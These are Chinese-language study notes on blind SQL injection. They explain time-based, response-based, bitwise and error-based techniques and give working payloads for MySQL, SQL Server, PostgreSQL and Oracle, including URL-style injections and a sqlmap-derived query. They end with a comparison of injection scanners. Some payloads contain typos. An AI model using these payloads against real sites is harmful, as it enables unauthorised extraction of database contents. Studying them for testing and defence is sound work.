sql注入中的盲注的幾種類型
1.基於時間延時注入
基於時間的手工盲注一般都是通過二分法或逐位法確定范圍獲取目標值。大大縮小了請求數。
通過控制,獲取響應時間來判斷目標值的正確性。使用大量情況,在純盲情況下成功率較高,缺點就是時間太長。
1.1針對mysql
對mysql進行盲注的時候盡量使用#作為注釋符號,使用--會引起很多缺少'錯誤使得數據庫無法正常執行攻擊語句
利用IF語句判斷可能的值,如果值滿足條件,則使用函數使sql語句在數據庫長時間執行從而通過響應時間判斷值得方式。該注入方式為推斷形盲注
IF(SUBSTRING(current,1,1)=CHAR(101),BENCHMARK(10000000,ENCODE('sasssG','zcxczx')),null),count(*) FROM (SELECT Database() as current) as tbl;
分析語句:
以下函數在一次盲注中都不會變化,承擔邏輯處理功能:
length(列)判斷其字符長度
SUBSTING(待提取字符,開始字符,提取字符長度)開始字符不斷增加
CHAR(101)字符型數據,不斷變化測試值
benchmark(執行次數,被測試函數)該函數是mysql獨有的測試函數執行之間函數
encode(被加密字符,加密秘鑰)
decode(被解密字符,解密秘鑰)
需要通過select length(database())函數確定目標值長度。
以下函數需要變化以應對不同的目標值:
當前連接數據庫
database();
所有數據庫
INFORMATION_SCHEMA.SCHEMATA
已知數據庫查該數據庫下表名
select * from tables where table_schema='mytest';
獲取系統用戶
SELECT SYSTEM_USER()
獲取當前用戶
SELECT CURRENT_USER()
limit 1,1查詢結果第一條,總共顯示一條
枚舉命令總結
1.所有數據庫
select schema_name FROM information_schema.schemata;
1.2針對sqlserver
查看當前數據庫
sqlsever則不需要像mysql一樣使用union執行select 可以直接if判斷目標值
select * from userinfo if(SUBSTRING(DB_NAME(),1,1)=CHAR(116)) waitfor delay '0:0:5'
二分法: IF ASCII(SUBSTRING(SYSTEM_USER,1,1))>30 WAITFOR DELAY '0:0:5'
使用分析:
DB_NAME()當前數據庫:
select name from sysobjects 獲取當前所有表,可以通過字段進行篩選,
獲取准備行數據:
select * from (select row_number() over (order by name ) as row_num,name from sysobjects)t
where row_num between 48 and 48 獲取第48行數據
name表示表名字段
row_number() over (order by 字段名)給予表序號得到一張新表作為子查詢
再通過between and關鍵字篩選出需要的表名。
sysobjects存放了sqlsever所有數據庫的表和其相關信息,有以下字段可以作為where子句選項
uid: 創建用戶id sa管理用uid為1
xtype:可以區分是否是用戶創創建表 用戶創建:u 系統創建:S SQ IT
查看當前連接數據庫下的某表某列
select name from sys.columns where object_id=(select id from sysobjects where name='userinfo') AND culumn=1
查看userinfo的列名,culumn控制第幾列,可以根據count(*)函數知道有多少列;
sqlsever表,數據庫,系統結構信息:
根據以上語法技巧,只要知道了目標數據所存放的系統表名就可以枚舉所有需要的系統數據,因為sqlserver的所有更新數據均可在系統表或者系統視圖中找到
master..sysdatabases()存放了該連接下所有的數據庫,一定要指定數據庫名
DB_NAME()是當前數據庫
sysobjects()當前連接下對象列表,包括表,視圖。
sys.columns()存放當前數據庫下所有列明
在查詢的時候一定要指定數據庫。
新思路:邏輯與左邊結果為0,右邊則不執行,可以在左邊判定目標值查詢,右邊用長時間子查詢。來進行判斷目標值。對應工具為marathontool.
1.3針對postgreSQL
pg_sleep()函數:
該數據庫主要延時函數pg_sleep()為系統默認安裝函數。但是該函數返回值為void意味着不能再where中使用。
如果在數據庫連接中擁有創建函數權限可重寫pg_sleep()函數:
CREATE OR REPLACE FUNCTION pause(integer) RETURNS intege as $$ DECLARE wait alias for $1;BEGIN PERFORM pg_sleep(wait); RETURN 1; END; $$LANGUAGE 'plpgsql' STRICT;
有返回值后則可以在where或者拆分平衡時使用。使用CASE 表達式 WHEN 條件 THEN 執行語句 ELSE 執行語句。其二分法與mysql類似。
二分法:SELECT CASE WHEN (ASCII(SUBSTR('',i,1))>K) THEN pg_sleep(1)|PAUSE(1) END;SELECT NULL,NULL,NULL;--
當使用pg_sleep(5)時需要加上三個啞查詢。
判斷是否為超級用戶: id=1+(SELECT CASE (SELECT username FROM pg_user WHERE usesuper IS TRUE and current_user=username) WHEN (user) THEN PAUSE(5) ELSE 1 END)
1.4針對oracle
存在時間注入函數DBMS_LOCK.SLEEP(N) ,但是屬於plsql代碼,不是sql中的函數。而且oacle不支持堆疊查詢。普通用戶無權限使用DBMS包。最好的情況是當前用戶是管理員且注入點事pl/sql塊。
IF (BITAND(ASCII(SUBSTR(XXX,1,1)),2)=2) THEN DBMS_LOCK.SLEEP(5); END IF;
BITEND函數將兩個參數轉2進制按位與 通過以上代碼在在代碼注入。
對oacle進行url型的sql注入使用如下代碼,要求是管理員權限。
count_reviews.aspx?review_author=MadBob' OR 1= CASE WHEN SYS_CONTEXT('USERENV','ISDBA')='TRUE' THEN DBMS_PIPE.RECEIVE_MESSAGE('foo',5) ELSE 1 END -
DBMS_PIPE.RECEIVE_MESSAGE('foo',5) 暫停5秒函數,可以嵌入帶sql語句中
時間注入函數總結
PostgreSQL: |
select pg_sleep(n) pause(n) |
1. 無法再sql中使用 2. 自定義函數 |
Oracle PL/SQL : |
BEGIN DBMS_LOCK.SLEEP(5); END; 或者 or 1=dbms_pipe.reveive_message(‘RDS’,10) |
1. 無法在sql中使用 2. 管理員權限 |
Mysql: |
sleep(n) BENCHMARK(100000,ENCODE(‘HELLO’,’MON’)); |
1. 所有用戶 2. 所有用戶 |
Microsoft SQL server: |
:xxx.jsp?uid=22;waitfor delay ‘0:0:5’ |
1.條件判斷之后 |
利用盲注判斷注入點:
1. 產生通用錯誤,如加冒號,括號,破壞原有的sql語句。判斷是否只有引號情況下才產生通用錯誤頁面。可以判斷程序是否有sql注入過濾。若產生了通用錯誤頁面代表程序不認識單引號也就是沒有對敏感字符的過濾,那么注入的成功率會較大。
1. 注入帶副作用的sql,常規的有時間延時函數,如下各類數據庫延時函數,可以判斷當前用戶是否有權限執行時間函數,判斷數據庫版本,判斷sql語句是否被執行
2. 若通用錯誤注入與副作用注入不起作用的情況下,可以使用拆分與平衡。拆分正常的參數,平衡不和諧的結尾單引號。將正常的參數在滿足sql語法的情況下,與原來的參數不同。oalce使用||連接字符串,SQLserver使用加號連接字符串,更高級的拆分即是使用BNF語法。
mysql字符連接用空格
以上包含了大部分常用數據的表達式拆分法,包括注入字符串,類型表達式,字符串表達式,數字表達式,數據表達式
盲注利用:
1.推斷型注入:一些簡單的問題,比如我們是否是作為管理員連接?連接的數據庫是否是sqlserver2005?類似的語句轉化為sql,在注入的時候需要經常變換永真條件來繞過固定字符過濾,也不能總用一字符進行請求,需要經常變換,還需要考慮網絡延時造成誤判數據的發生。
增加推斷攻擊技術復雜性:boolean或者時間注入,常常使用二分法進行數字比對大大縮小判定時間,在所有數據庫中都提供了ASCII()將字符轉為int值得方法。二分查找的問題是無法在獲取第一個請求之前發送第二個請求。對於MD5加密后的數據僅僅16個字符遍歷
逐位推斷漏洞:通過字符轉ASCII碼后與2^0,2^1,2^2………2^7依次異或,若異或后的值小於原來的值,代表原碼對應2^j的j位的值為1,若分別2^3,2^5值變小,其他值都比原值大,則原碼2^3+2^5為00101000對應為(,左括號字符。這樣的做法對應包含成百上千行的數據可評估表的大小.並且一般英文字符判斷8次就能出結果。逐位的方法可以縮短請求數量,但是會增加判斷時間。因為每個字符八次判斷中平均有4次需要延時。如果目標值有6個字符則需要48個請求,平均24個請求會被延時。若每個延時2秒,不延時為0.1秒則共需要50.4秒才能判斷出目標數據。如果采用原始方式每個字符判斷36次共6個字符。216個請求,但是如果延時為兩秒,不延時為0.1秒,則12+204*0.1=32.4秒。從時間上來分析該算法時間會很長。但從請求量來分析,該算法的請求數為原請求數的1/4.5;
按位異或 小於 則是目標值
按位與 等於 則是目標值
2.基於響應技術
基於響應技術的實用性和優點:
1. 相對時間注入受外在不可控因素影響較小,對網絡傳輸,服務器負載,網絡情況等影響較小。
2. 不需要長時間的等待,及時能判定結果。
3. 在注入是必須是數據庫或者程序的執行錯誤,而不是語法的錯誤,才能判斷目標。
4. 但是該注入只使用於返回的響應能被攻擊者修改的注入點。如果不能則需要復雜的語句創造錯誤頁面。
5. 產生執行錯誤的思路:
1. 除數為0產生執行錯誤
2. ASP.NET默認出錯頁面,捕獲底層錯誤。在正常參數中加'&aspxerrorpath=/foo 或‘
針對MYSQL響應:
1.SELECT COUNT(*) FROM XXX WHERE XXX=''
2.SELECT COUNT(*) FROM XXX WHERE XXX='' AND ASCII (SUBSTRING(USER(),1,1))&2^j=2^j #
第1條語句是程序正常執行語句,查詢滿足條件的條數。
第2條語句是基於響應的注入,在判定條件不成立的情況下則會出現錯誤頁面,在成立的情況下則產生正確頁面。
利用逐位,拆分與平衡的方法實現內聯注入。利用響應結果得到真假頁面
SELECT COUNT(*) FROM XX WHERE id=1+IF(ASCII(SUBSTRING(CURRENT_USER(),1,1))&2=2,1,0)
注意:mysql沒有用於字符串連接的運算符,僅有concat()函數連接。
在無法控制響應結果的時候就創造響應結果,紅色標記的sql語句則是一個子查詢返回多行的執行錯誤。當按位比較成功時則返回錯誤頁面,當失敗時就返回1回到正常頁面,
SELECT COUNT(*) FROM userinfo WHERE username=IF(ASCII(SUBSTRING(CURRENT_USER(),1,1))&2=2,(SELECT table_name FROM information_schema.columns WHERE table_name=(SELECT table_name FROM information_schema.columns)),1);
不通過拆分與平衡進行注入,通過逐位算法注入and配合邏輯表達式進行注入。
tomcat' AND IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))&4,1,0); #
根據返回數據確定值是否正確,依賴手工注入,或者通過編程對應網站實現。
針對PostgreSQL響應技術:
1. 通過and ASCII(SUBSTR(XXX,I,1))&2=2;返回結果不同則能判斷目標值。
2. 利用拆分與平衡時注意PostgreSQL的字符串連接符是 ||
3. 使用 CASE WHEN EXPER1 THEN 1/0 END進行拆分
4. php中display_errors=on,會使數據庫錯誤信息返回到頁面
針對sqlserver響應技術:
1. 猜測當前創建連接的用戶是否為sa,AND SYSTEM_USER='sa' 通過返回結果判斷
2. sqlserver中使用+來進行字符串的拼接
3. sqlserver中能很好的運用拆分與平衡來基於響應推斷。
4. IIS6,7上的APS.NET站點若沒有在web.config下<customError>標簽中指定錯誤頁面,則會返回默認的錯誤頁面。捕獲底層信息
針對ORACLE響應技術:
1.ORACLE中語法有些不同,這是直接猜測DBA。
SELECT * FROM reviews WHERE review_autho='XXX' SYS_CONTEXT('USERENV','ISDDBA')='TRUE';
2.這是oracle的逐位函數BITAND(),將兩個數字按位與
SELECT * FROM reviews WHERE review_author='XXX' AND BITAND(ASCII(SUBSTR(XX,1,1)),2)=2
3.ORACLE中字符拼接用||符號,使用除數為0來構造錯誤。ELSE后的空單引號不產生錯誤。在用除法構造錯誤的時候一定要用CAST()封裝,否則編譯無法通過。
MadBob' || (SELECT CASE WHEN BITAND(ASCII(SUBSTR(XX,1,1))2)=2 THEN CAST(1/0 AS CHAR) ELSE '' END FROM DUAL)||';
多位返回技術:
對逐位方法的改進,利用CASE WHEN 語句 多分支判斷位。
SELECT * FROM reviews WHERE review_author=''+(SELECT
CASE
WHEN ASCII(SUBSTRING(XXX,1,1))&(2+4)=0 //此時待判斷位為00
'result1'
WHEN ASCII(SUBSTRING(XXX,1,1))&(2+4)=2 //此時待判斷位為01
'result2'
WHEN ASCII(SUBSTRING(XXX,1,1))&(2+4)=4 //此時待判斷位為10
'result3'
ELSE //此時待判斷位為11
'result4'
END)
黃色的替換值:3,12,48,192
紅色的替換值:3[0,1,2], 12[0,4,8], 48[0,16,32] 192[0,64,128]
綠色的替換值:1----len(目標)
以下是十分正確的語句:
SELECT * FROM userinfo WHERE username=''+(SELECT CASE ASCII(SUBSTRING('`,1,1))&6 WHEN 0 THEN '11' WHEN 2 THEN '22' WHEN 4 THEN '33' ELSE '44' END)
針對新聞頁面,多響應頁面的注入點可以用多位返回技術。。
3.基於錯誤盲注
1.針對mysql
1.由於自增字段達到上限,報錯情況。左邊冒號中的字符就是我們需要的情況,基於錯誤的注入目的就是將我們需要的目標值,想盡辦法讓之在報錯中顯示。
Duplicate entry 'qzkqqtime_zone_transition_typeqbxvq1' for key 'group_key'
以下為sqlmap原腳本,添加了許多混淆數據庫日志字符。
SELECT * FROM userinfo WHERE username='illidan' AND (SELECT 6120 FROM(SELECT COUNT(*),CONCAT(0x717a6b7171,(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x6d7973716c) LIMIT 19,1),0x7162787671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- zgvK'
精簡版(手工注入選擇此項):
illidan' AND (SELECT 6120 FROM (SELECT COUNT(*), CONCAT((SELECT CAST(table_name AS CHAR) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x6d7973716c) LIMIT 19,1),FLOOR(RAND(0)*2) )x FROM mytest.userinfo GROUP BY x )a);-- WW
illidan為參數,用'閉合掉之前的',通過and一個子查詢完成注入
繼續簡化
select count(*),CONCAT((select database()),floor(rand(0)*2))x from userinfo group by x;
核心語句:select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x;
語句解析:
1. information_schema.character_sets該表示所有mysql數據庫一經創建便會生成的系統表,因為其中存放了該數據庫支持的各種編碼。
2. 在該查詢中count(*)是統計該分組下的數量
3. 分組依據是通過一個floor(rand(0)*2)實現,rand(0)可以生成一個固定的小數序列,在乘2向下取整后會變成一堆有序的01數組,再對每組統計長度,通過此方式分組統計會引起數據庫自增序列達到上限從而報錯,並且報錯信息會顯示group by關鍵字。通過連接目標值與rand序列即可獲得需要的值。
SQLserver錯誤注入
SELECT * FROM userinfo WHERE username='22' AND 7974=CONVERT(INT,(SELECT (SELECT SUBSTRING((ISNULL(CAST(SYSTEM_USER AS NVARCHAR(4000)),CHAR(32))),1,1024)))) AND 'XbPE'='XbPE'
在sqlserver中直接針對目標數據進行不可能的類型轉換。在轉換失敗的時候就會在報錯信息中顯示目標值。
CONVERT就是一個類型轉換函數。
自動尋找sql注入工具比較
1. 識別數據輸入
2. 注入數據
3. 檢測響應中的異常
根據數據庫返回的錯誤響應,SQL錯誤,500錯誤
1.HP WebInspect
商業工具,功能不僅僅是發現SQL注入漏洞,更主要的是完整評估Web站點的安全性。包括XSS,遠程本地文件包含,SQL注入,OS命
令注入。
其驗證sql注入的方式通過常規AND OR 等驗證
2.IBM Rational AppScan
也是評估web站點安全性的商業工具。
測試方法相對HP WebInspect豐富
拆分與平衡,利用邏輯子句,堆疊查詢,基於錯誤響應
'having 1=1-- 包含group by子句的
WF'SQL ''Probe;A-B
3.HP Scrawlr
1.免費,類似爬蟲功能,分析每個web頁面參數尋找sql注入點。
2.工具從根目錄搜索web鏈接,不適用於獨立頁面或文件夾的站點
3.缺點是該工具只能測試get參數,post表單的sql注入點將不能被檢測出。
4.上限是1500各URL
5.不查盲注,無身份代理,無腳本解析。只發三個字符,'OR 'AND 5=5 OR 'S'=0 number-0
4.SQLIX
1.免費,能查盲注和正常注入點。
2.不解析表單,自動post請求
3.可測試單個URL和一個文件類的所有URL。與HP Scrawlr配合使用。
測試key有:
字符轉換錯誤,拆分與平衡,邏輯子句,16進制繞過濾,
功能強與HP Scrawlr,范圍小於HP Scrawlr
5.Paros Proxy/Zed Attack Proxy
1.包含內部爬蟲
2.手段包含:
休眠函數,常規邏輯判斷。針對sqlserver
java編寫,JRE1.4以上,免費
2016/8/22